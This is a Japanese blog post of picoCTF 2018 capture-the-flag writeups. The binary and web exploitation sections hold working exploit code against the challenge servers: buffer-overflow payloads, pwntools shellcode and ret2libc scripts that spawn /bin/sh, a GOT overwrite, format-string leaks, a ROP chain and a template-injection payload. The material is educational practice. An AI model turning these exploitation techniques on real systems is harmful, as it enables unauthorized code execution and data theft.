2
2

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

More than 5 years have passed since last update.

picoCTF2018 writeups

Last updated at Posted at 2018-10-14

はじめに

CTFに取り組み始めて2ヶ月経ったくらいです。
picoCTF2018に初参加しました。
大会終了時のスコアは8,000点をちょっと超え、1,040位台でした。1,000位は切りたかったな。。

今回初めてwriteupを書きます。
なお、大会終了後も公式サイトに登録して試すことができます。

※書きかけです。順次更新していきます。

環境

macOS High Sierra
virtual box (Ubuntu 16.04)

writeups

他の方が既に書いている場合、リンクを書いています。

Forensics

Forensics Warmup 1 - Points: 50 Forensics

Forensics Warmup 2 - Points: 50 Forensics

Desrouleaux - Points: 150 Forensics

Reading Between the Eyes - Points: 150 Forensics

Recovering From the Snap - Points: 150 Forensics

admin panel - Points: 150 Forensics

now you don't - Points: 200 Forensics

hex editor - Points: 150 Forensics

Truly an Artist - Points: 200 Forensics

Ext Super Magic - Points: 250 Forensics

Lying Out - Points: 250 Forensics

What's My Name? - Points: 250 Forensics

core - Points: 350 Forensics

Malware Shops - Points: 400 Forensics

LoadSomeBits - Points: 550 Forensics

General Skills

General Warmup 1 - Points: 50 General Skills

General Warmup 2 - Points: 50 General Skills

General Warmup 3 - Points: 50 General Skills

grep 1 - Points: 75 General Skills

net cat - Points: 75 General Skills

Resources - Points: 50 General Skills

strings - Points: 100 General Skills

pipe - Points: 110 General Skills

grep 2 - Points: 125 General Skills

Aca-Shell-A - Points: 150 General Skills

environ - Points: 150 General Skills

ssh-keyz - Points: 150 General Skills

what base is this? - Points: 200 General Skills

you can't see me - Points: 200 General Skills

absolutely relative - Points: 250 General Skills

in out error - Points: 275 General Skills

learn gdb - Points: 300 General Skills

roulette - Points: 350 General Skills

store - Points: 400 General Skills

script me - Points: 500 General Skills

Dog or Frog - Points: 900 General Skills

Reversing

Reversing Warmup 1 - Points: 50 Reversing

Reversing Warmup 2 - Points: 50 Reversing

quackme - Points: 200 Reversing

assembly-0 - Points: 150 Reversing

assembly-1 - Points: 200 Reversing

be-quick-or-be-dead-1 - Points: 200 Reversing

assembly-2 - Points: 250 Reversing

be-quick-or-be-dead-2 - Points: 275 Reversing

Radix's Terminal - Points: 400 Reversing

assembly-3 - Points: 400 Reversing

keygen-me-1 - Points: 400 Reversing

Cryptography

Crypto Warmup 1 - Points: 75 Cryptography

Crypto Warmup 2 - Points: 75 Cryptography

HEEEEEEERE'S Johnny! - Points: 100 Cryptography

caesar cipher 1 - Points: 150 Cryptography

hertz - Points: 150 Cryptography

blaise's cipher - Points: 200 Cryptography

caesar cipher 2 - Points: 250 Cryptography

rsa-madlibs - Points: 250 Cryptography

Magic Padding Oracle - Points: 450 Cryptography

Web Exploitation

Inspect Me - Points: 125 Web Exploitation

Client Side is Still Bad - Points: 150 Web Exploitation

Logon - Points: 150 Web Exploitation

Irish Name Repo - Points: 200 Web Exploitation

Mr. Robots - Points: 200 Web Exploitation

Solve
Do you see the same things I see? The glimpses of the flag hidden away? http://2018shell1.picoctf.com:15298

Hints
What part of the website could tell you where the creator doesn't want you to look?

方針
HTMLを見て特に問題も無いしwiresharkでパケットを見てもヒントなし。。
題名のMr. Robotsはドラマの名前ですが、、・・・ロボット!

writeup
Mr. Robots → ロボット → robots.txt という連想で、
http://2018shell1.picoctf.com:15298/robots.txt
にアクセス。

robots.txt
User-agent: *
Disallow: /c4075.html

でフラグゲット。

No Login - Points: 200 Web Exploitation

Secret Agent - Points: 200 Web Exploitation

Buttons - Points: 250 Web Exploitation

The Vault - Points: 250 Web Exploitation

Artisinal Handcrafted HTTP 3 - Points: 300 Web Exploitation

Solve
We found a hidden flag server hiding behind a proxy, but the proxy has some... interesting ideas of what qualifies someone to make HTTP requests. Looks like you'll have to do this one by hand. Try connecting via nc 2018shell1.picoctf.com 33281, and use the proxy to send HTTP requests to flag.local. We've also recovered a username and a password for you to use on the login page: realbusinessuser/potoooooooo.

Hints
Be the browser. When you navigate to a page, how does your browser send HTTP requests? How does this change when you submit a form?

参考writeup

方針とwriteup
参考writeupに書いてあるとおりです。
ブラウザでは直接アクセスできないので nc(netcat)をターミナルから叩いて、webブラウザになった気分でHTTPのメソッドを手打ちしていきます。

途中user/passが求められますが、それはSolveにある通りのものを使います。

・・・基本的なHTTPの通信も手打ちだと大変だ。。。

Flaskcards - Points: 350 Web Exploitation

Solve
We found this fishy website for flashcards that we think may be sending secrets. Could you take a look?

Hints
・Are there any common vulnerabilities with the backend of the website?
・Is there anywhere that filtering doesn't get applied?
・The database gets reverted every 2 hours so your session might end unexpectedly. Just make another user

参考writeup

方針とwriteup
flashcard(フラッシュカード)と題名にある Flask というweb frameworkがかかっています。
Flask

まずアクセスして普通にアカウントを作り、ログインします。
「Create Card」をクリック
「Question」に"aaa"、「answer」に"{{1+1}}"を入力し、Createします。
「List Cards」をクリック
answerをみると、「2」と表示されています。
つまり、{{1+1}}が評価されたということ。

なので同様の手順でサーバのconfig情報をダンプさせる、{{config}}を入力してフラグゲットです。

fancy-alive-monitoring - Points: 400 Web Exploitation

Secure Logon - Points: 500 Web Exploitation

Help Me Reset 2 - Points: 600 Web Exploitation

A Simple Question - Points: 650 Web Exploitation

LambDash 3 - Points: 800 Web Exploitation

Binary Exploitation

buffer overflow 0 - Points: 150 Binary Exploitation

Solve
Let's start off simple, can you overflow the right buffer in this program to get the flag? You can also find it in /problems/buffer-overflow-0_1_316c391426b9319fbdfb523ee15b37db on the shell server. Source.

Hints
How can you trigger the flag to print?
If you try to do the math by hand, maybe try and add a few more characters. Sometimes there are things you aren't expecting.

vuln.c
void sigsegv_handler(int sig) {
  fprintf(stderr, "%s\n", flag);
  fflush(stderr);
  exit(1);
}

void vuln(char *input){
  char buf[16];
  strcpy(buf, input);
}

方針
単純にオーバーランさせればSIGSEGVが飛んできて、ハンドラ(sigsegv_handler)が実行、フラグが表示されます。

writeup
shellにログインして、以下を実行すればOKです。

./vuln `python -c "print 'a'*(100)"`

SIGSEGVが発生するだけオーバーランさせればよいので、今回100文字にしましたが50文字でもOKでした。

buffer overflow 1 - Points: 200 Binary Exploitation

Solve
Okay now you're cooking! This time can you overflow the buffer and return to the flag function in this program? You can find it in /problems/buffer-overflow-1_4_9d46ad1b74894db5d4831b91e19ee709 on the shell server. Source.

Hints
This time you're actually going to have to control that return address!
Make sure you consider Big Endian vs Little Endian.

vuln.c
#define BUFSIZE 32
#define FLAGSIZE 64

void win() {
  char buf[FLAGSIZE];
  FILE *f = fopen("flag.txt","r");

  fgets(buf,FLAGSIZE,f);
  printf(buf);
}

void vuln(){
  char buf[BUFSIZE];
  gets(buf);

  printf("Okay, time to return... Fingers Crossed... Jumping to 0x%x\n", get_return_address());
}

int main(int argc, char **argv){

  puts("Please enter your string: ");
  vuln();
  return 0;
}

方針
win()の中でflag.txtを読んで、printfしていますが、win()がどこからも呼び出されていません。
問題名にある通り、バッファオーバーフローを使ってwin()を無理やり呼び出すのが基本方針となります。

  1. win()のアドレスを知る
  2. vuln()の中、gets()で入力を得るが、bufの先頭アドレスからRETURNアドレスの格納位置までのバイト数を知る
  3. 標準入力からwin()のアドレスを打ち込む方法

が必要となります。

writeup

idaでアセンブラを見てみます。

スクリーンショット 2018-10-14 6.48.27.png

win()のアドレスは 0x080485CB とわかります。・・・(1)

スクリーンショット 2018-10-14 6.37.46.png

vuln()の中のスタックを書き出すと下図となります。
eaxがgets()の引数として与えられ、そのアドレスに標準入力から値が入れられます。

スクリーンショット 2018-10-14 17.53.50.png

gets()でbuf[]の先頭アドレスから44Byte(=32+8+4)目がRETURNアドレスとなることがわかります。・・・(2)

さて、標準入力からどのようにwin()のアドレスを入れるかというと、pythonのpwn packageのp32()を使います。・・・(3)
(1)と(2)で得られた情報を用いると以下となります。

python -c "from pwn import *; print 'a'*(32+12)+p32(0x080485cb)" | ./vuln

leak-me - Points: 200 Binary Exploitation

Problem
Can you authenticate to this service and get the flag? Connect with nc 2018shell1.picoctf.com 57659. Source.

Hints
Are all the system calls being used safely?
Some people can have reallllllly long names you know..

auth.c
int main(int argc, char **argv){

  // real pw: 
  FILE *file;
  char password[64];
  char name[256];
  char password_input[64];
  
  memset(password, 0, sizeof(password));
  memset(name, 0, sizeof(name));
  memset(password_input, 0, sizeof(password_input));
  
  printf("What is your name?\n");
  
  fgets(name, sizeof(name), stdin); ・・・(1)
  char *end = strchr(name, '\n');
  if (end != NULL) {
    *end = '\x00';
  }

  strcat(name, ",\nPlease Enter the Password."); ・・・(2)

  file = fopen("password.txt", "r");
  if (file == NULL) {
    printf("Password File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.\n");
    exit(0);
  }

  fgets(password, sizeof(password), file); ・・・(3)

  printf("Hello ");
  puts(name);  ・・・(4)

  fgets(password_input, sizeof(password_input), stdin); ・・・(5)
  password_input[sizeof(password_input)] = '\x00';
  
  if (!strcmp(password_input, password)) {
    flag(); ・・・(6)
  }
  else {
    printf("Incorrect Password!\n");
  }
  return 0;
}

方針
password[]の中にフラグが入るので、これを表示させたい。
標準入力から入力できるのはname[]とpassword_input[]です((1)と(5))。
この変数への入力をオーバーランさせ、password[]の中を表示させるんでしょうね。

name[]とpassword_input[]どちらを使うかですが、password_input[]の方は(5)を見るとfgets()を用い、バッファの大きさは sizeof(password_input) で規定されているため、オーバーランできません。よってname[]の方を狙います。

writeup

  char password[64];
  char name[256];

  fgets(name, sizeof(name), stdin);
  char *end = strchr(name, '\n');
  if (end != NULL) {
    *end = '\x00';
  }

name[]をオーバーランさせるため、"aaa...aaa1"を入力します。ここで a は250文字分繰り返します。
入力直後は以下のようなメモリの状態となります

249 250 251 252 253 254 255
name[] 'a' '1' '\n' 0 0 0 0
0 1 2 3 4 5 6
password[] 0 0 0 0 0 0 0

次になぜか入力したname[]に文字列を連結させています。

  strcat(name, ",\nPlease Enter the Password.");
249 250 251 252 253 254 255
name[] 'a' '1' ',' '\n' 'P' 'l' 'e'
0 1 2 3 4 5 6
password[] 'a' 's' 'e' ' ' 'E' 'n' 't'

これで無事name[]をオーバーランしてpassword[]の領域に侵入できました。

このあと(3)でflagの値が password[] にセットされます。

最後に(4)で puts(name); とされますが、name[]の中ではnull terminateされていないので、文字列はpassword[]の中まで表示されます。

$ nc 2018shell1.picoctf.com 57659
What is your name?
aaaaaaaaabaaaaaaaaabaaaaaaaaabaaaaaaaaabaaaaaaaaabaaaaaaaaabaaaaaaaaabaaaaaaaaabaaaaaaaaabaaaaaaaaabaaaaaaaaabaaaaaaaaabaaaaaaaaabaaaaaaaaabaaaaaaaaabaaaaaaaaabaaaaaaaaabaaaaaaaaabaaaaaaaaabaaaaaaaaabaaaaaaaaabaaaaaaaaabaaaaaaaaabaaaaaaaaabaaaaaaaaab1
Hello aaaaaaaaabaaaaaaaaabaaaaaaaaabaaaaaaaaabaaaaaaaaabaaaaaaaaabaaaaaaaaabaaaaaaaaabaaaaaaaaabaaaaaaaaabaaaaaaaaabaaaaaaaaabaaaaaaaaabaaaaaaaaabaaaaaaaaabaaaaaaaaabaaaaaaaaabaaaaaaaaabaaaaaaaaabaaaaaaaaabaaaaaaaaabaaaaaaaaabaaaaaaaaabaaaaaaaaabaaaaaaaaab1,
Plea_reAllY_s3cuRe_p4s$word_56b977

(目印にbも入れ込んでいます)。",Ple"までが name[]。それ以降がpassword[]です。
これでパスワードが入手できました。
一度 CTRL-C でncを抜け、再び入り、入手したパスワードを入力するとフラグが手に入ります。

$ nc 2018shell1.picoctf.com 57659
What is your name?
aaa
Hello aaa,
Please Enter the Password.
a_reAllY_s3cuRe_p4s$word_56b977
picoCTF{...}

shellcode - Points: 200 Binary Exploitation

Solve
This program executes any input you give it. Can you get a shell? You can find the program in /problems/shellcode_3_09e0c5074980877d900d65c545d1e127 on the shell server. Source.

Hints
Maybe try writing some shellcode?
You also might be able to find some good shellcode online.

#define BUFSIZE 148
#define FLAGSIZE 128

void vuln(char *buf){
  gets(buf);
  puts(buf);
}

int main(int argc, char **argv){

  char buf[BUFSIZE];

  puts("Enter a string!");
  vuln(buf);

  puts("Thanks! Executing now...");
  
  ((void (*)())buf)();
     
  return 0;
}

方針
buf[]にシェルを立ち上げるコードを挿入、実行する。
そのために以下のpwntoolsを使ったpythonコードを実行させます.

from pwn import *

sh = process('./vuln')

sh.sendlineafter('!\n', asm(shellcraft.i386.linux.sh()))
sh.interactive()

Pwntoolsの機能と使い方まとめ【日本語】
https://qiita.com/8ayac/items/12a3523394080e56ad5a

writeup
シェルに入って上記pythonコードを実行し、vuln プロセスにシェルコードを送り込み実行。シェル中でフラグを読みます。

$ python                      
Python 2.7.12 (default, Dec  4 2017, 14:50:18)                                                                  
[GCC 5.4.0 20160609] on linux2                                                                                  
Type "help", "copyright", "credits" or "license" for more information.                                          
>>> from pwn import *                                                                                           
>>> sh = process('./vuln')                                                                                      
[x] Starting local process './vuln'
[+] Starting local process './vuln': pid 1634724
>>> sh.sendlineafter('!\n', asm(shellcraft.i386.linux.sh()))                                                    
'Enter a string'                                                                                                
>>> sh.interactive()                                                                                            
[*] Switching to interactive mode
jhh///sh/binh4$ri1QjYQ1j                                                                                
                                X̀        
Thanks! Executing now...                                                                                        
                                                                                                                
ls -la                                                                                                          
total 776                                                                                                       
drwxr-xr-x   2 root       root          4096 Sep 28 08:11 .                                                     
drwxr-x--x 576 root       root         53248 Sep 30 03:45 ..                                                    
-r--r-----   1 hacksports shellcode_3     34 Sep 28 08:11 flag.txt                                              
-rwxr-sr-x   1 hacksports shellcode_3 725408 Sep 28 08:11 vuln                                                  
-rw-rw-r--   1 hacksports hacksports     562 Sep 28 08:11 vuln.c                                                
                                                                                                       
cat flag.txt                                                                                                    
picoCTF{...}  

buffer overflow 2 - Points: 250 Binary Exploitation

Solve
Alright, this time you'll need to control some arguments. Can you get the flag from this program? You can find it in /problems/buffer-overflow-2_1_63b4b691601811c553a7c19e367737b9 on the shell server. Source.

Hints
Try using gdb to print out the stack once you write to it!

#define BUFSIZE 100
#define FLAGSIZE 64

void win(unsigned int arg1, unsigned int arg2) {
  char buf[FLAGSIZE];
  FILE *f = fopen("flag.txt","r");
  if (f == NULL) {
    printf("Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.\n");
    exit(0);
  }

  fgets(buf,FLAGSIZE,f);
  if (arg1 != 0xDEADBEEF)
    return;
  if (arg2 != 0xDEADC0DE)
    return;
  printf(buf);
}

void vuln(){
  char buf[BUFSIZE];
  gets(buf);
  puts(buf);
}

int main(int argc, char **argv){

  puts("Please enter your string: ");
  vuln();
  return 0;
}

方針
これも buffer overflow 1 と同じく vuln()の戻りアドレスをwin()にしつつ、今度は引数が2つ必要です。

writeup

idaでwin()のアドレスを調べると 0x080485CB です。

vuln()の戻りアドレスの場所をidaで探します。

スクリーンショット 2018-10-14 16.57.37.png

スクリーンショット 2018-10-14 16.57.22.png

from pwn import *; 
print 'a'*(100+12)
+p32(0x080485cb)
+'P'*4
+p32(0xDEADBEEF)
+p32(0xDEADC0DE)

'P'*4 は、win()を呼び出した戻りアドレスになります。ここは何でもいいので'PPPP'で埋めています。
あとはシェルで送り込みます。

$ ls -la              
total 72                                                                                                        
drwxr-xr-x   2 root       root                 4096 Sep 28 07:38 .
drwxr-x--x 576 root       root                53248 Sep 30 03:45 ..
-r--r-----   1 hacksports buffer-overflow-2_1    35 Sep 28 07:38 flag.txt                                       
-rwxr-sr-x   1 hacksports buffer-overflow-2_1  7708 Sep 28 07:38 vuln
-rw-rw-r--   1 hacksports hacksports            793 Sep 28 07:38 vuln.c                                         

$ cat flag.txt        
cat: flag.txt: Permission denied                                                                                

$ python -c "from pwn 
import *; print 'a'*(100+12)+p32(0x080485cb)+'P'*4+p32(0xDEADBEEF)+p32(0xDEADC0DE)" | ./vuln
Please enter your string:                                                                                       
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
˅PPPPᆳ-                                                                                                         
picoCTF{...}Segmentation fault (core dumped) 

got-2-learn-libc - Points: 250 Binary Exploitation

Solve
This program gives you the address of some system calls. Can you get a shell? You can find the program in /problems/got-2-learn-libc_1_ceda86bc09ce7d6a0588da4f914eb833 on the shell server. Source.

Hints
try returning to systems calls to leak information
don't forget you can always return back to main()

方針
ソースを見るとvuln()の中でgets()しているのでバッファーオーバーフローを使うのだろうと気付きます。
'/bin/sh'という文字列がuseful_stringという変数に格納されているので、system(useful_string) を呼び出すのでしょう.

vul.c
#define BUFSIZE 148
#define FLAGSIZE 128

char useful_string[16] = "/bin/sh"; /* Maybe this can be used to spawn a shell? */


void vuln(){
  char buf[BUFSIZE];
  puts("Enter a string:");
  gets(buf);
  puts(buf);
  puts("Thanks! Exiting now...");
}

int main(int argc, char **argv){

  puts("Here are some useful addresses:\n");

  printf("puts: %p\n", puts);
  printf("fflush %p\n", fflush);
  printf("read: %p\n", read);
  printf("write: %p\n", write);
  printf("useful_string: %p\n", useful_string);

  printf("\n");
  
  vuln();

  
  return 0;
}

writeup

まず、system() のアドレスがわからないので調べますが、ASLRでアドレスが実行のたびに変わることに対応します。
ASLRではアドレスが変わりますが、glibcの中で相対的な位置は変わらないので、ソース中現れる、puts()の位置からのsystem()の相対アドレスを調べます.

$ cd /problems/got-2-learn-libc_1_ceda86bc09ce7d6a0588da4f914eb833                 
$ gdb ./vuln           
                                             
(gdb) start                                                                                                     
                                                                  
(gdb) p system                                                                                                  
$1 = {<text variable, no debug info>} 0xf75b2940 <system>                                                       
(gdb) p puts                                                                                                    
$2 = {<text variable, no debug info>} 0xf75d7140 <puts>                                                         
(gdb) 

0xf75d7140-0xf75b2940=0x24800=149504

puts()のアドレスから 149504 Byte離れた位置にsystem()があることがわかりました。

次に buffer overflow で塗りつぶす関数の戻りアドレスや、system()を呼ぶときの引数のアドレスを調べます。

idaでアセンブラを見つつスタックの様子を書き出すと下図のようになります。
vuln()の中、 gets(buf) で buf[] にバッファに値を入れられます。
スクリーンショット 2018-10-21 5.35.15.png

バッファオーバーフローさせ、下図のように書き換えます.
スクリーンショット 2018-10-21 5.35.25.png

これで情報が揃いました。
ではpythonのpwnツールを使い、アタックします.

test.py
#!/usr/bin/env python
# -*- coding: utf-8 -*-

from pwn import *

user = 'ユーザー名'
pw = 'パスワード'

# SSH で接続し、directoryを変更.
s = ssh(host = '2018shell1.picoctf.com', user=user, password=pw)
s.set_working_directory('/problems/got-2-learn-libc_1_ceda86bc09ce7d6a0588da4f914eb833')

# vulnを実行
p = s.process('./vuln')

offset = -149504

# 指定した文字列が来るまで待つ.それまでに受信した文字列を保持する.
'''
$ ./vuln 
Here are some useful addresses:     [0]
                                    [1]
puts: 0xf7630140                    [2]                                                                         
fflush 0xf762e330                   [3]                                                                         
read: 0xf76a5350                    [4]                                                                         
write: 0xf76a53c0                   [5]                                                                         
useful_string: 0x565f9030           [6]                                                                         
                                    [7]                                                                         
Enter a string:                     [8]                                                                         
aaa                                                                                                             
aaa                                                                                                             
Thanks! Exiting now... 
'''

lines =  p.recvuntil('Enter a string:').split('\n')

print lines
puts = int(lines[2].split(':')[1].strip()[2:], 16)
useful = int(lines[6].split(':')[1].strip()[2:], 16)

log.info('Puts in: 0x{:x}'.format(puts))
log.info('Useful string in: 0x{:x}'.format(useful))

system = puts + offset

payload = 'A' * (148+8+4)+p32(system)+'XXXX'+p32(useful)
p.sendline(payload)
p.recv()
p.sendline('ls -l')
p.sendline('cat flag.txt')
p.sendline('exit')

print p.recvall()

実行するとコンソールは以下のようになります。

$ ./test.py 
[+] Connecting to 2018shell1.picoctf.com on port 22: Done
[*] xxx@2018shell1.picoctf.com:
    Distro    Ubuntu 16.04
    OS:       linux
    Arch:     amd64
    Version:  4.4.0
    ASLR:     Enabled
[*] Working directory: '/problems/got-2-learn-libc_1_ceda86bc09ce7d6a0588da4f914eb833'
[+] Starting remote process './vuln' on 2018shell1.picoctf.com: pid 1303146
['Here are some useful addresses:', '', 'puts: 0xf766f140', 'fflush 0xf766d330', 'read: 0xf76e4350', 'write: 0xf76e43c0', 'useful_string: 0x56585030', '', 'Enter a string:']
[*] Puts in: 0xf766f140
[*] Useful string in: 0x56585030
[+] Receiving all data: Done (452B)
[*] Stopped remote process 'vuln' on 2018shell1.picoctf.com (pid 1303146)
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA@\xa9d?XXXX0PXV
Thanks! Exiting now...
$ total 16
-r--r----- 1 hacksports got-2-learn-libc_1   37 Sep 28 07:42 flag.txt
-rwxr-sr-x 1 hacksports got-2-learn-libc_1 7856 Sep 28 07:42 vuln
-rw-rw-r-- 1 hacksports hacksports          843 Sep 28 07:42 vuln.c
$ picoCTF{xxx}
$ 

フラグが得られました.

echooo - Points: 300 Binary Exploitation

Solve
This program prints any input you give it. Can you leak the flag? Connect with nc 2018shell1.picoctf.com 46960. Source.
Hints
If only the program used puts...

方針

flag[]を読みたいが、入力はバッファーの大きさで制限されているためバッファーオーバーフローは使えない。

printf(buf); となっているので、「フォーマット文字列攻撃」を使います。

echo.c
int main(int argc, char **argv){

  setvbuf(stdout, NULL, _IONBF, 0);

  char buf[64];
  char flag[64];
  char *flag_ptr = flag;
  
  FILE *file = fopen("flag.txt", "r");
  
  fgets(flag, sizeof(flag), file);
  
  while(1) {
    printf("> ");
    fgets(buf, sizeof(buf), stdin);
    printf(buf);
  }  
  return 0;
}

writeup

printf("%8$s");
とすると、「printfの8番目の引数を文字列として表示」という指定になります。
%<引数の何番目か>$<フォーマット>
という見たこともない書式です。これでスタックの値を表示できます。

$ nc 2018shell1.picoctf.com 46960
Time to learn about Format Strings!
We will evaluate any format string you give us with printf().
See if you can get the flag!
> %8$s
picoCTF{XXXX}

何番目の引数に狙った値が出るのかはアセンブラを読み解くか、探るかします。
printf("%1$s");
printf("%2$s");
printf("%3$s");
・・・
printf("%8$s");
狙った文字列が出た!とやります。

flag_ptr が指す先を出力しています。

こんな攻撃があるとは知りませんでした。。
防止策は、
printf(buf);

printf("%s", buf);
とすることです。printfにバッファを直接入れるのはNGですね。

got-shell? - Points: 350 Binary Exploitation

Solve
Can you authenticate to this service and get the flag? Connect to it with nc 2018shell1.picoctf.com 46464. Source(auth.c)

Hints
Ever heard of the Global Offset Table?

auth.c
void win() {    // ・・・ (1)
  system("/bin/sh");
}

int main(int argc, char **argv) {

  char buf[256];
  
  unsigned int address;
  unsigned int value;

  puts("I'll let you write one 4 byte value to memory. Where would you like to write this 4 byte value?");

  scanf("%x", &address);    // ・・・(2)

  sprintf(buf, "Okay, now what value would you like to write to 0x%x", address);
  puts(buf);
  
  scanf("%x", &value);    // ・・・(3)

  sprintf(buf, "Okay, writing 0x%x to 0x%x", value, address);
  puts(buf);

  *(unsigned int *)address = value;    // ・・・(4)

  puts("Okay, exiting now...\n");    // ・・・(5)
  exit(1);
  
}

参考writeup

方針

win()関数(1)を呼び出せばshellが起動できることはわかりますが、問題はどうやってwin()を呼び出すか、です。
標準入力から入力を得る、scanf()が2箇所(2)と(3)にあります。
しかしフォーマットがいずれも"%x"なので4Byte以上は書き込めません。つまりバッファーオーバーフローできない。。
問題名やヒントを見るとGOT(Global Offset Table)とあります。

GOTの解説を読んでみます。(リンク)
書籍では ハロー“Hello, World” OSと標準ライブラリのシゴトとしくみ にもわかりやすく書いています。

Cレベルでputs()を呼び出す。→ 実はアセンブラレベルでは puts@plt() を呼び出している → PLT(procedure linkage table)が呼ばれる → GOTを引き、puts()本体のアドレスを取り出し、ジャンプ。→ puts()が呼ばれる。

という流れになります。図示すると以下です。

image.png

このGOTの中にあるputs()のアドレスを、win()のものに書き換えれば良さそうです(4),(5)。

なお、GOTの中にあるアドレスは一番最初にその関数が呼び出された時に設定されます。
gdbで追っていくとわかりやすいです。下図とgdbの結果を書きましたので見比べてください。

image.png

puts()の最初の呼び出し前
gdb-peda$ x/3i 0x80483d0
   0x80483d0 <puts@plt>:	jmp    DWORD PTR ds:0x804a00c
   0x80483d6 <puts@plt+6>:	push   0x0
   0x80483db <puts@plt+11>:	jmp    0x80483c0
gdb-peda$ x/wx 0x804a00c
0x804a00c:	0x080483d6  // ここがGOTの中身。
puts()の最初の呼び出し後
gdb-peda$ x/3i 0x80483d0
   0x80483d0 <puts@plt>:	jmp    DWORD PTR ds:0x804a00c
   0x80483d6 <puts@plt+6>:	push   0x0
   0x80483db <puts@plt+11>:	jmp    0x80483c0
gdb-peda$ x/wx 0x804a00c
0x804a00c:	0xf7e68140  // ここがGOTの中身。書き換わっている。

writeup

win()のアドレス、puts()のGOTのアドレスはidaでアセンブラを見ればわかります。
もちろんgdbで追っていってもわかります。

ソースコード中、(4)でGOTがputs()からwin()のアドレスに変わり、(5)でputs()を呼び出すとwin()が呼び出されてシェル起動です。

mypwn.py
from pwn import *

putsGOT = '0804a00c'
winAddr = '0804854b'

sh = remote('2018shell2.picoctf.com', 46464)

sh.sendlineafter('?\n', putsGOT)
sh.sendlineafter('\n', winAddr)

sh.interactive()

シェルの中で $ls して、 $ cat flag.txt すればフラグゲットです。

なお、下記コードではだめでした。。なぜだろう。。?

from pwn import *

putsGOT = 0x0804a00c
winAddr = 0x0804854b

sh = remote('2018shell2.picoctf.com', 46464)

sh.sendlineafter('?\n', p32(putsGOT))
sh.sendlineafter('\n', p32(winAddr))

sh.interactive()

rop chain - Points: 350 Binary Exploitation

Solve
Can you exploit the following program and get the flag? You can findi the program in /problems/rop-chain_0_6cdbecac1c3aa2316425c7d44e6ddf9d on the shell server? Source(rop.c).

Hints
Try and call the functions in the correct order!
Remember, you can always call main() again!

rop.c
#define BUFSIZE 16

bool win1 = false;
bool win2 = false;


void win_function1() {
  win1 = true;
}

void win_function2(unsigned int arg_check1) {
  if (win1 && arg_check1 == 0xBAAAAAAD) {
    win2 = true;
  }
  else {
    //だめ
  }
}

void flag(unsigned int arg_check2) {
  char flag[48];
  FILE *file;
  file = fopen("flag.txt", "r");

  fgets(flag, sizeof(flag), file);
  
  if (win1 && win2 && arg_check2 == 0xDEADBAAD) {
    printf("%s", flag);
    return;
  }
  else {
    //だめ
  }
}

void vuln() {
  char buf[16];
  printf("Enter your input> ");
  return gets(buf);
}

int main(int argc, char **argv){
  vuln();
}

参考writeup

方針
ropというのはReturn-Oriented Programmingのことです。
バッファーオーバーフローでRETURNアドレスを書き換えますが、それだけではなく、複雑な関数コールを設計します。

ソース(rop.c)を読むと、フラグを表示するまでに win_function1()→win_function2()→flag() の順で呼ぶ必要があります。

バッファーオーバーフローを仕掛けられる場所は vuln() の中のgets()のみです。
ここでバッファーオーバーフローさせ、win_function1()→win_function2()→flag() の順で呼ぶようスタックフレームを作り上げます。

writeup

いままで見てきたようにスタックフレームは、戻りアドレス、引数(右から左へ)と積む構成になっています。(呼び出し規約がcdeclの場合)

vuln()のgets()への引数を確認します。

gdb-peda$ disassemble vuln
Dump of assembler code for function vuln:
   0x08048714 <+0>:	push   ebp
   0x08048715 <+1>:	mov    ebp,esp
   0x08048717 <+3>:	sub    esp,0x18
   0x0804871a <+6>:	sub    esp,0xc
   0x0804871d <+9>:	push   0x804896f
   0x08048722 <+14>:	call   0x8048420 <printf@plt>
   0x08048727 <+19>:	add    esp,0x10
   0x0804872a <+22>:	sub    esp,0xc
   0x0804872d <+25>:	lea    eax,[ebp-0x18] ; ・・・ ★
   0x08048730 <+28>:	push   eax
   0x08048731 <+29>:	call   0x8048430 <gets@plt>
   0x08048736 <+34>:	add    esp,0x10
   0x08048739 <+37>:	leave  
   0x0804873a <+38>:	ret    
End of assembler dump.

★のところが引数になります。図示すると以下になります。

スクリーンショット 2018-11-11 6.54.07.png

これをバッファーオーバーフローさせ、下図のようにスタックフレームを構成します。

スクリーンショット 2018-11-11 6.54.44.png

これを実現するため、サーバにログインし、以下を実行するとフラグが得られます。

$ python -c "from pwn import *; print 'A'*28+p32(0x080485cb)+p32(0x080485d8)+p32(0x0804862b)+p32(0xBAAAAAAD)+p32(0xDEADBAAD)"|./rop           
Enter your input> picoCTF{XXX}
Segmentation fault (core dumped)

ではこのスタックフレームでどうやって動くのかをひとつひとつ解説していきます。

vuln()の中でバッファーオーバーフローさせ、関数を抜けるところからです。
アセンブラを見ると関数を抜けるところは、leave; ret; ですね。

スクリーンショット 2018-11-11 6.58.25.png

スクリーンショット 2018-11-11 7.00.26.png

これで win_function1()が実行されました。
アセンブラは以下になります。

gdb-peda$ disassemble win_function1
Dump of assembler code for function win_function1:
   0x080485cb <+0>:	push   ebp
   0x080485cc <+1>:	mov    ebp,esp
   0x080485ce <+3>:	mov    BYTE PTR ds:0x804a041,0x1
   0x080485d5 <+10>:	nop
   0x080485d6 <+11>:	pop    ebp
   0x080485d7 <+12>:	ret    
End of assembler dump.

スクリーンショット 2018-11-11 7.03.50.png

win_function2()が呼び出されました。
アセンブラは以下です。引数へのアクセスと関数から抜けるところを確認します。

gdb-peda$ disassemble win_function2
Dump of assembler code for function win_function2:
   0x080485d8 <+0>:	push   ebp
   0x080485d9 <+1>:	mov    ebp,esp
      略
   0x080485e9 <+17>:	cmp    DWORD PTR [ebp+0x8],0xbaaaaaad
      略
   0x08048629 <+81>:	leave  
   0x0804862a <+82>:	ret    
End of assembler dump.

スクリーンショット 2018-11-11 7.07.08.png

確かに引数は狙い通りの値(0xbaaaaaad)となっています。

関数を抜けるところは下図です。

スクリーンショット 2018-11-11 7.08.48.png

